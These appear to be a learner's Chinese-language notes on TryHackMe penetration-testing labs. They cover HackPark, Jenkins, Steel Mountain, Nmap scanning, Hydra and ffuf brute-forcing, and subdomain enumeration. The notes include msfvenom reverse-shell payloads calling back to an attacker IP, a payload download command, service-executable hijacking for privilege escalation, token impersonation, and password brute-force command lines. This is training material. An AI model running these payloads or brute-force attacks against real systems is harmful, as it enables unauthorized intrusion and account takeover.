hackpark-thm

通常会发现C:\Windows\Temp是全局可写的

在searchsploit 搜相关系统,找到编号

在searchsploit -x 编号 查看exp的细节以及位置

上传exp文件

nc -lvnp 端口号

访问http://xxx/?theme=../../App_Data/files

监听成功


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.37.236 LPORT=9999 -e x86/shikata_ga_nai -f exe -o Message.exe 生成shell

  1. 打开终端并启动Metasploit框架(MSFConsole):
    msfconsole ```
  2. 在Metasploit控制台中,使用以下命令设置监听器(handler):
    use exploit/multi/handler ```
  3. 配置监听器的参数。将以下命令中的LHOST和LPORT替换为您的本地IP地址和端口号:
    set LHOST 10.2.37.236 set LPORT 7777 ```
  4. 设置有效载荷(payload)类型。在这种情况下,您使用的是windows/meterpreter/reverse_tcp,因此使用以下命令:
    set PAYLOAD windows/meterpreter/reverse_tcp ```
  5. 运行监听器:
    exploit ```
  6. 等待目标系统执行恶意文件(reverse.exe)并与您的Kali主机建立反向连接。

连上msf后,直接用upload就可以上传文件了,不用再开server。上传winPEAS.bat并且运行它,枚举系统并尝试推荐我们可以利用的潜在漏洞。

异常安装的软件以及位置。

红框是异常服务

一般情况下,Windows操作系统中的可执行文件可以位于以下位置之一:

C:\Program Files 目录或 C:\Program Files (x86) 目录:这是默认安装位置,许多应用程序会将它们的可执行文件安装在这两个目录中的子目录中。

C:\Program Files (x86)\SystemScheduler //从上面的图的异常位置来的

看到有一个Events文件夹,进去看,看到有2019_int_log.txt 文件 type它,看到有一个名为Message.exe的程序以管理员权限经常运行。

所以找到Meeage.exe的位置,修改他的名字。然后传一个名为Message.exe的反向shell文件到这个位置,然后msf监听即可获取administrator权限。

如果用nc的环境,powershell貌似不太好用,用以下命令:
powershell -c wget “http:10.2.37.236:8000/Message.exe” -outfile “Message.exe”

hydra/gobuster thm

gobuster 暴力破解目录
gobuster -dir -w /usr/share/wordlists/dirb/small.txt -u http://xxxxx

使用hydra的时候越详细爆的越快,如下图,在登陆面板抓包拿数据:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.55.41 http-post-form “/Account/login.aspx:__VIEWSTATE=ieUMuCNZ0r4W%2Fp2xwQc9bQy418MSzBqgjGb%2FI4Ywz%2BqWx05ZhDnWMcfRIwlEmfVAfoKARjaFOeSNPDoOXxnh8KmEU5uRdKZBTVklgExZ5vQNERsCOsmGPpkxA%2F8UoAHSeYNc6%2FCs5J7nW9YukY4B7m%2Bm4KePfj35FlY0chkPjDO06G4PaBYu4Y5Bl8JCImm8bNo%2BLzFcfWJLgAVTexH1jHcYJZ2WiNMyTrXD4j5R0HkcYGVDre5XsZ206oR81x%2Fq4Z27DnmPO30PDROcSYuyucS2sZ8BkMIrZnVpyYUkOt3INMXJ4gN8FKItNhHgqNAvgMwLs2RooMPXkDE7LeIdUdkjhGeBiV5ZbVtV0xZu25x0ID80&__EVENTVALIDATION=%2BizhUT7VQeBerVTMe2GOJ4TyD035Q3lxOSX2cojr%2FQXycQttUrKwlVt0iS7zbWxbWBYlVQw4CT4GUNFEujbxgkqTkyaLw1Sxj0LdH%2FL7MoJb4GgbPeeXvJGJhlWXoKIuYL9GOQTAv96osApDsSYySe%2F4JiKgooOnaw9pwKyEiBJmIgOO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed” -t 64 //绿色要注意 -t 64 表示可以进行的任务量

CommandDescription
hydra -P <wordlist> -v <ip> <protocol>Brute force against a protocol of your choice
hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>Attack a Windows Remote Desktop with a password list.
hydra -l <username> -P .<password list> $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’Craft a more specific request for Hydra to brute force.

Your username or password is incorrect

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.32.96 http-post-form “/login/:username=admin&password=^PASS^:Your username or password is incorrect”

阿福jenkins

jenkins默认admin admin

1.弱口令爆破账号密码

2.后台有能执行命令的模块

3.通过反弹shell的思路获得shell,nc,msf都行

4.生成msf的payload,记住这个payload,以同样的方式上传到目标服务器中。

5.msf 启用 use /exploit/multi/handler,同时要设置payload否则他会使用默认的,连不上, set payload即可,然后设置host以及port,run开启监听

6.通过一开始的nc运行shell,msf就能拿到shell,使用msf的目的是msf能加载更多模块继续利用

7.load incognito在Metasploit中加载incognito模块

8.要检查哪些令牌可用,请输入list_tokens -g

9.使用 impersonate_token “BUILTIN\Administrators”命令模拟管理员令牌

10.ps找到服务的pid使用命令migrate来把我们的uid迁移

migrate xxxx (服务的id)

11.迁移成功之后就提权了

steel mountain

1.nmap 扫

2.找系统的cve

3.msf找payload

4.设置payload后exploit

5.ctrl Z隐藏会话

6.upload 上传powerup.ps1文件到受害主机当前文件夹

7.load powershell命令加载相关模块(仅在msf中)

8.输入powershell_shell唤出ps(powershell)操作界面

9.输入命令 . . /PowerUp.ps1运行

10.输入命令 Invoke-AllChecks:相当于漏扫了

Invoke-AllChecks是PowerSploit工具中的一个PowerShell命令,用于执行全面的系统安全检查。PowerSploit是一个开源的PowerShell框架,提供了各种用于渗透测试和红队活动的功能模块。

当你在目标系统上执行Invoke-AllChecks命令时,它将执行多个系统安全检查和漏洞探测操作,以识别目标系统中的潜在安全风险和漏洞。这些检查可能包括以下内容:

  1. 操作系统版本和补丁级别的检查:检查目标系统的操作系统版本和已安装的补丁程序,以确定是否存在已知的漏洞。
  2. 权限和访问控制检查:检查用户的权限和访问控制设置,以查找可能的权限提升或未正确配置的访问控制。
  3. 安全配置检查:检查目标系统的安全配置,例如防火墙规则、服务设置、密码策略等,以发现潜在的弱点。
  4. 漏洞扫描和利用:执行一系列漏洞扫描和利用步骤,以发现系统中已知的漏洞并尝试利用它们。

10.CanRestart 选项为 true,允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用恶意应用程序替换合法应用程序,重新启动服务,这将运行我们受感染的程序

11.在攻击机上生成payload:
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

copy Advanced.exe “C:\Program Files (x86)\IObit\Advanced SystemCare\Advanced.exe” //替换掉原来的服务

sc stop AdvancedSystemCareService9 //关闭服务
sc start AdvancedSystemCareService9 //启动服务

暴力破解

hydra

下载 Gobuster ,或者如果您使用的是 Kali Linux,请运行 sudo apt-get install gobuster

首先,您需要一个 Gobuster 的单词列表(它将用于快速浏览单词列表以确定公共目录是否可用。如果您使用Kali Linux,您可以在/usr/share/wordlists下找到许多单词列表. 您还可以在 AttackBox 中使用位于 /usr/share/wordlists/dirbuster/directory-list-1.0.txt的目录的单词列表。

现在让我们使用gobuster dir -u http://10.10.197.195:3333 -w <word list location>运行包含单词列表的 Gobuster

nmap thm

ping不通 遇事不决就加 -Pn

扫描类型命令示例
ARP扫描sudo nmap -PR -sn MACHINE_IP/24
ICMP 回波扫描sudo nmap -PE -sn MACHINE_IP/24
ICMP 时间戳扫描sudo nmap -PP -sn MACHINE_IP/24
ICMP 地址掩码扫描sudo nmap -PM -sn MACHINE_IP/24
TCP SYN Ping 扫描sudo nmap -PS22,80,443 -sn MACHINE_IP/30
TCP ACK Ping 扫描sudo nmap -PA22,80,443 -sn MACHINE_IP/30
UDP Ping 扫描sudo nmap -PU53,161,162 -sn MACHINE_IP/30

-sn如果您只对主机发现感兴趣而无需端口扫描,请记住添加。省略 -sn将使Nmap默认对活动主机进行端口扫描。

选项目的
-n没有DNS查找
-R所有主机的反向 DNS 查找
-sn仅主机发现

准备要扫描的txt,输入:
nmap -iL list_of_hosts.txt

 Nmap 只执行 ARP 扫描而不进行端口扫描,您可以使用nmap -PR -sn 目标,其中 -PR表示您只需要进行实时的ARP扫描,不需要扫描端口

尽管ping很常用,但许多防火墙会阻止 ICMP ping 回显;新版本的 MS Windows 配置了主机防火墙,默认情况下会阻止 ICMP 回显请求。请记住,如果您的目标位于同一子网上,则 ARP 查询将先于 ICMP 请求。
由于 ICMP 回显请求往往会被阻止,因此您还可以考虑使用 ICMP 时间戳或 ICMP 地址掩码请求来判断系统是否在线。Nmap 使用时间戳请求(ICMP 类型 13)并检查是否会得到时间戳回复(ICMP 类型 14)。添加该-PP选项告诉Nmap使用 ICMP 时间戳请求

只通过icmp ping 探活但不进行端口扫描:sudo nmap -PE -sn MACHINE_IP/24

使用 ICMP 地址掩码查询发现活动主机,我们运行命令 nmap -PM -sn MACHINE_IP/24

端口扫描类型命令示例
TCP连接扫描nmap -sT 10.10.147.253
TCP SYN 扫描sudo nmap -sS 10.10.147.253
UDP扫描sudo nmap -sU 10.10.147.253

这些扫描类型应该可以帮助您开始发现目标主机上正在运行的TCP和 UDP 服务。

选项目的
-p-所有端口
-p1-1023扫描端口1至1023
-F100 个最常用端口
-r按连续顺序扫描端口
-T<0-5>-T0最慢,T5最快
--max-rate 50速率 <= 50 数据包/秒
--min-rate 15速率 >= 15 数据包/秒
--min-parallelism 100至少 100 个并行探头

UDP 数据包发送到关闭的端口,则会返回 ICMP 端口不可达错误(类型 3,代码 3)。您可以使用该选项选择 UDP 扫描 -sU;此外,您可以将其与另一个 TCP 扫描结合起来.没响应说明可达

端口扫描类型命令示例
TCP空扫描sudo nmap -sN MACHINE_IP
TCP FIN 扫描sudo nmap -sF MACHINE_IP
TCP圣诞扫描sudo nmap -sX MACHINE_IP
TCP迈蒙扫描sudo nmap -sM MACHINE_IP
TCP ACK 扫描sudo nmap -sA MACHINE_IP
TCP窗口扫描sudo nmap -sW MACHINE_IP
自定义TCP扫描sudo nmap --scanflags URGACKPSHRSTSYNFIN MACHINE_IP
欺骗源IPsudo nmap -S SPOOFED_IP MACHINE_IP
欺骗的MAC地址--spoof-mac SPOOFED_MAC
诱饵扫描nmap -D DECOY_IP,ME MACHINE_IP
空闲(僵尸)扫描sudo nmap -sI ZOMBIE_IP MACHINE_IP
将IP数据分片成8个字节-f
将IP数据分片成16字节-ff
选项目的
--source-port PORT_NUM指定源端口号
--data-length NUM附加随机数据以达到给定长度

这些扫描类型依赖于以意想不到的方式设置TCP标志来提示端口进行回复。Null、FIN 和 Xmas 扫描会引发来自关闭端口的响应,而 Maimon、ACK 和 Window 扫描会引发来自开放和关闭端口的响应。

选项目的
--reason解释Nmap如何得出结论
-v冗长的
-vv非常详细
-d调试
-dd更多调试细节

选项意义
-sV确定开放端口上的服务/版本信息
-sV --version-light尝试最有可能的探针 (2)
-sV --version-all尝试所有可用的探针 (9)
-O检测操作系统
--traceroute运行traceroute到目标
--script=SCRIPTS要运行的Nmap脚本
-sC或者--script=default运行默认脚本
-A相当于-sV -O -sC --traceroute
-oN以正常格式保存输出
-oG以 grepable 格式保存输出
-oX以XML格式保存输出
-oA以普通、XML和 Grepable 格式保存输出

爆破密码

hydra -l username -P wordlist.txt server service

比如爆破lazie的iamp的密码:
hydra -l lazie -P /usr/share/wordlists/rockyou.txt 10.10.80.177 imap

  • -l username:-l应位于 之前username,即目标的登录名。
  • -P wordlist.txt:在文件-P之前wordlist.txt,该文件是一个文本文件,其中包含您要使用提供的用户名尝试的密码列表。
  • server是目标服务器的主机名或 IP 地址。
  • service指示您尝试发起字典攻击的服务。

考虑以下具体示例:

  • hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.80.177 ftp将在针对FTPmark服务器迭代提供的密码时用作用户名。
  • hydra -l mark -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.177与前面的示例相同。10.10.80.177 ftp与 相同ftp://10.10.80.177
  • hydra -l frank -P /usr/share/wordlists/rockyou.txt 10.10.80.177 ssh当它尝试使用不同的密码通过SSH登录时,将用frank作用户名

爆破ftp:
hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.110.233:10021

暴露面-thm

1、信息搜集

  • whois查询 WHOIS 服务器
  • nslookup查询 DNS 服务器
  • dig查询 DNS 服务器

nslookup -type=a tryhackme.com 1.1.1.1

身份认证绕过-thm

1、用户名枚举

尝试注册用户的时候使用敏感的账户,比如admin查看是否会有错误提示,比如已注册,可以说明存在admin用户。

使用ffuf以及一个字典来进行爆破,字典没有的话,thm的attcak box 文件里面有,开http server下载到kali运行就行

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d “username=FUZZ&email=x&password=x&cpassword=x” -H “Content-Type: application/x-www-form-urlencoded” -u http://10.10.224.100/customers/signup -mr “username already exists”

下图为命令运行时爆破用户名,可以看出已经爆出了admin

-w参数选择计算机上包含我们要检查的用户名列表是否存在的文件的位置。参数-X指定请求方法,默认情况下这是一个 GET 请求,但在我们的示例中它是一个 POST 请求。该-d参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。该-H参数用于向请求添加附加标头。在本例中,我们将 设为Content-Type网络服务器知道我们正在发送表单数据。这-u参数指定我们发出请求的 URL,最后,参数-mr是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。

然后使用ffuf爆破密码,爆破结果取决于字典是否丰富

ffuf -w 保存着密码的文件.txt:W2 -X POST -d “username=需要被爆破的用户名&password=W2” -H “Content-Type: application/x-www-form-urlencoded” -u http://受害者存在登陆的地址 -fc 200

信息发现-子域名枚举-thm

1\SSL/TLS 证书

当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全)证书时,CA 会参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问的日志。证书透明度日志的目的是阻止恶意和意外制作的证书被使用。我们可以利用此服务来发现属于某个域的子域,  https://crt.sh 和 https://ui.ctsearch.entrust.com/ui/ctsearchui等网站 提供可搜索的证书数据库,显示当前的证书和历史结果

2\搜索引擎

搜索引擎包含数万亿个指向超过十亿个网站的链接,这可以成为查找新子域的极好资源。 在 Google 等网站上使用高级搜索方法(例如 site:filter)可以缩小搜索结果范围。例如,“-site:www.domain.com site:*.domain.com”将仅包含指向域名domain.com的结果,但排除任何指向www.domain.com的链接;因此,它只向我们显示属于domain.com 的子域名。

转到Google并使用搜索词-site:www.tryhackme.com site:*.tryhackme.com,这应该会显示 tryhackme.com 的子域;

3\暴力 DNS(域名系统)

枚举是从预定义的常用子域列表中尝试数十、数百、数千甚至数百万个不同的可能子域的方法。由于此方法需要许多请求,因此我们使用工具将其自动化,以使过程更快。在本例中,我们使用名为 dnsrecon 的工具来执行此操作:
dnsrecon -t brt -d acmeitsupport.thm

4\使用 Sublist3r 实现自动化

为了加快 OSINT 子域发现的过程,我们可以借助 Sublist3r等工具自动化上述方法,单击“查看站点”按钮打开静态站点并运行 sublist3r 模拟来发现新的子域:
./sublist3r.py -d acmeitsupport.thm

5\使用ffuf来爆破子域名

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.170.168

上面的命令使用-w开关来指定我们要使用的单词列表。-H开关添加/编辑标头(在本例中为主机标头),我们在子域通常所在的空间中有FUZZ关键字,这就是我们将尝试单词列表中的所有选项的地方。
因为上面的命令总是会产生有效的结果,所以我们需要过滤输出。我们可以通过使用-fs开关的页面大小结果来做到这一点。编辑以下命令,将 {size} 替换为之前结果中出现次数最多的大小值,并在 AttackBox 上尝试。
噗噗

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.170.168 -fs {size}

除了-fs开关之外,此命令的语法与第一个命令类似,该开关告诉 ffuf 忽略指定大小的任何结果

上图先输入了第一条命令,会有很多报错,因此需要进行筛选,找到size出现最多的,如本例子为2395,那么在第二条命令用 2395 替换掉 {size}

fierce:扫子域名 kali自带

wydomain:国内搜集子域名比较全

在线子域名查询:

http://tool.chinaz.com/subdomain/
https://phpinfo.me/old/domain/